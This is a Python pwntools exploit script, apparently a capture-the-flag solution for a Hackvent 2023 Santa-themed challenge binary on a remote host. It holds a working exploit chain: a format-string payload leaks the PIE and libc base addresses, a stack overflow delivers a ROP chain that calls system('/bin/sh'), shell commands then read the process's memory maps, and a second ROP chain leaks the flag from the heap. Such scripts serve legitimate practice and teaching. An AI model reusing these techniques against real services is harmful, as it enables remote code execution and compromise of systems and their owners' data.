#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template '--host=152.96.15.8' '--port=1337' from pwn import * from hackingscripts import util import struct exe = context.binary = ELF(args.EXE or './vuln') libc = ELF("./libc6_2.37-0ubuntu2.2_amd64.so", checksec=False) # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable host = args.HOST or 'b8fb5148-65c8-4306-9341-e2ba20821791.rdocker.vuln.land' port = int(args.PORT or 1337) def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== def tell_flag(username, fmt): if not isinstance(username, bytes): username = username.encode() if not isinstance(fmt, bytes): fmt = fmt.encode() io.recvuntil(b"> ") io.sendline(username) io.recvuntil(b"> ") io.sendline(fmt) result = io.recvuntil(b"I will see what I can do...\n") prefix = b"\x1b[?25h\nSanta: You want me to help you with " if result.startswith(prefix): result = result[len(prefix):] suffix = b"?\nSanta: I will see what I can do...\n" if result.endswith(suffix): result = result[:-len(suffix)] return result def do_conn(username, fmt): io.recvuntil(b"(y/n)? ") io.sendline(b"y") data = io.recvuntil(b"> ") lines = data.decode().split("\n") present_count = {"red": 0, "blue": 0, "yellow": 0} for line in lines: match = re.match(r"\s*-\s*(red|yellow|blue)", line.strip()) if match: color = match[1] present_count[color] = present_count[color] + 1 io.sendline(str(present_count["red"]).encode()) io.recvuntil(b"> ") io.sendline(str(present_count["yellow"]).encode()) io.recvuntil(b"> ") io.sendline(str(present_count["blue"]).encode()) return tell_flag(username, fmt) io = start() payload = b"" payload += b"%35$p|%39$p|" payload += (168 - len(payload)) * b"A" assert len(payload) == 168 payload += p8(0xA0) result = do_conn("x", payload) leak = result.split(b'|') exe.address = int(leak[0][2:],16) - exe.symbols["main"] - 158 log.info(f"Piebase: {hex(exe.address)}") libc_leak = int(leak[1][2:],16)+48 libc.address = libc_leak - libc.symbols["__libc_start_main"] log.info(f"libc leak: {hex(libc_leak)} ") log.info(f"libc base: {hex(libc.address)}") # chain for shell rop = ROP([libc, exe]) rop.raw(rop.find_gadget(['ret'])) # stack align rop.system(next(libc.search(b"/bin/sh"))) rop.raw(rop.find_gadget(['ret'])) # stack align rop.call(exe.symbols["tellflag"]) payload = b"A"*168 + rop.chain() tell_flag("x", payload) io.sendline(b"ps | grep vuln | awk '{print $1}'") pid = io.recvline().strip().decode() print("[+] Got PID:", pid) io.sendline(f"cat /proc/{pid}/maps | grep heap | awk -F '-' '{{print $1}}'".encode()) heap_base = int(io.recvline().decode(), 16) print("[+] Got Heap base:", hex(heap_base)) io.sendline(b"exit") rop = ROP([libc]) rop.raw(rop.find_gadget(['ret'])) # stack align rop.puts(heap_base + 0x484, ) rop.call(exe.symbols["main"]) payload = b"" payload += 160 * b"A" payload += p64(0) payload += rop.chain() tell_flag("x", payload) flag = "HV23" + io.recvline().decode().strip() print("[+] Flag:", flag) io.close()